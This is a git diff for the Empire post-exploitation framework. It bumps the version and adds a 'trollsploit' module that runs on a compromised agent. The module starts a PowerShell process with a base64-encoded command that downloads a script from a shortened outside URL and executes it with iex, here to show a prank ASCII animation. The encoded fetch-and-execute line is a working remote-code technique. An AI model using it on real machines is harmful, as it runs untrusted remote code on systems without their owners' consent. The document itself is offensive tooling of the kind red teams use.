diff --git a/changelog b/changelog index 6307d71..848c108 100644 --- a/changelog +++ b/changelog @@ -1,3 +1,9 @@ +12/16/2015 +---------- +-Sync of Kevin Robertson's collection/inveigh update +-Added trollsploit/rick_ascii +-Bug fixes + 12/11/2015 ---------- -Updated powerview.ps1 diff --git a/lib/common/empire.py b/lib/common/empire.py index b1c0624..45188f4 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -9,7 +9,7 @@ menu loops. """ # make version for Empire -VERSION = "1.3.7" +VERSION = "1.3.8" from pydispatch import dispatcher diff --git a/lib/modules/trollsploit/rick_ascii.py b/lib/modules/trollsploit/rick_ascii.py new file mode 100644 index 0000000..f7a9a49 --- /dev/null +++ b/lib/modules/trollsploit/rick_ascii.py @@ -0,0 +1,54 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Spawn', + + 'Author': ['@lee_holmes', '@harmj0y'], + + 'Description': ("Spawns a a new powershell.exe process that runs Lee Holmes' ASCI Rick Roll."), + + 'Background' : False, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : True, + + 'MinPSVersion' : '2', + + 'Comments': [ + "http://www.leeholmes.com/blog/2011/04/01/powershell-and-html5/" + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + # iex (New-Object Net.WebClient).DownloadString("http://bit.ly/e0Mw9w") + return "$Null = Start-Process -WindowStyle Maximized -FilePath \"C:\Windows\System32\WindowsPowerShell\\v1.0\powershell.exe\" -ArgumentList \"-enc aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYgBpAHQALgBsAHkALwBlADAATQB3ADkAdwAiACkA\"; 'Client Rick-Asciied!'"